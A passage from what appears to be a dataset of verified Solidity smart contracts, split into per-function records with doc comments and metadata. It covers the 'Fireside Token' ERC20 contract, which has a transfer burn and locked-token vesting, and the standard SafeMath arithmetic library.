emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | allowance | function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
| // ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
5624,
5788
]
} | 8,863 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 lastVisit;
}
mapping(address => Locked) lockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = 0xa87e5b051541f289e9141Be73f05ca68B3dc3D8C;
balances[address(owner)] = totalSupply();
lockedTokens[owner].lastVisit = now;
lockedTokens[owner].tokens = 5200000 * 10 ** (decimals); // 5.2 million
emit Transfer(address(0),address(owner), totalSupply());
}
/** ERC20Interface function's implementation **/
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens > 0){
check_time(msg.sender);
}
require(balances[msg.sender].sub(tokens) >= lockedTokens[msg.sender].tokens, "Please wait for tokens to be released");
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
emit Transfer(msg.sender, to, tokens);
return true;
}
function check_time(address _from) private {
if ((now.sub(lockedTokens[_from].lastVisit)).div(30 days) >= 1){
uint256 months;
uint256 released;
uint256 monthlyAllowed = 520000 * 10 ** (decimals); // 520,000 per month
months = (now.sub(lockedTokens[_from].lastVisit)).div(30 days);
released = months.mul(monthlyAllowed);
if (released > lockedTokens[_from].tokens){
released = lockedTokens[_from].tokens;
}
lockedTokens[_from].lastVisit = now;
lockedTokens[_from].tokens = lockedTokens[_from].tokens.sub(released);
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[from].sub(tokens) >= lockedTokens[from].tokens, "Please wait for tokens to be released");
balances[from] = balances[from].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | onePercent | function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
| // ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
6014,
6259
]
} | 8,864 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 lastVisit;
}
mapping(address => Locked) lockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = 0xa87e5b051541f289e9141Be73f05ca68B3dc3D8C;
balances[address(owner)] = totalSupply();
lockedTokens[owner].lastVisit = now;
lockedTokens[owner].tokens = 5200000 * 10 ** (decimals); // 5.2 million
emit Transfer(address(0),address(owner), totalSupply());
}
/** ERC20Interface function's implementation **/
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens > 0){
check_time(msg.sender);
}
require(balances[msg.sender].sub(tokens) >= lockedTokens[msg.sender].tokens, "Please wait for tokens to be released");
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
emit Transfer(msg.sender, to, tokens);
return true;
}
function check_time(address _from) private {
if ((now.sub(lockedTokens[_from].lastVisit)).div(30 days) >= 1){
uint256 months;
uint256 released;
uint256 monthlyAllowed = 520000 * 10 ** (decimals); // 520,000 per month
months = (now.sub(lockedTokens[_from].lastVisit)).div(30 days);
released = months.mul(monthlyAllowed);
if (released > lockedTokens[_from].tokens){
released = lockedTokens[_from].tokens;
}
lockedTokens[_from].lastVisit = now;
lockedTokens[_from].tokens = lockedTokens[_from].tokens.sub(released);
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[from].sub(tokens) >= lockedTokens[from].tokens, "Please wait for tokens to be released");
balances[from] = balances[from].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | burnTokens | function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
| // ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
6490,
6718
]
} | 8,865 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
251,
437
]
} | 8,866 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
707,
848
]
} | 8,867 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1180,
1377
]
} | 8,868 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1623,
2099
]
} | 8,869 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
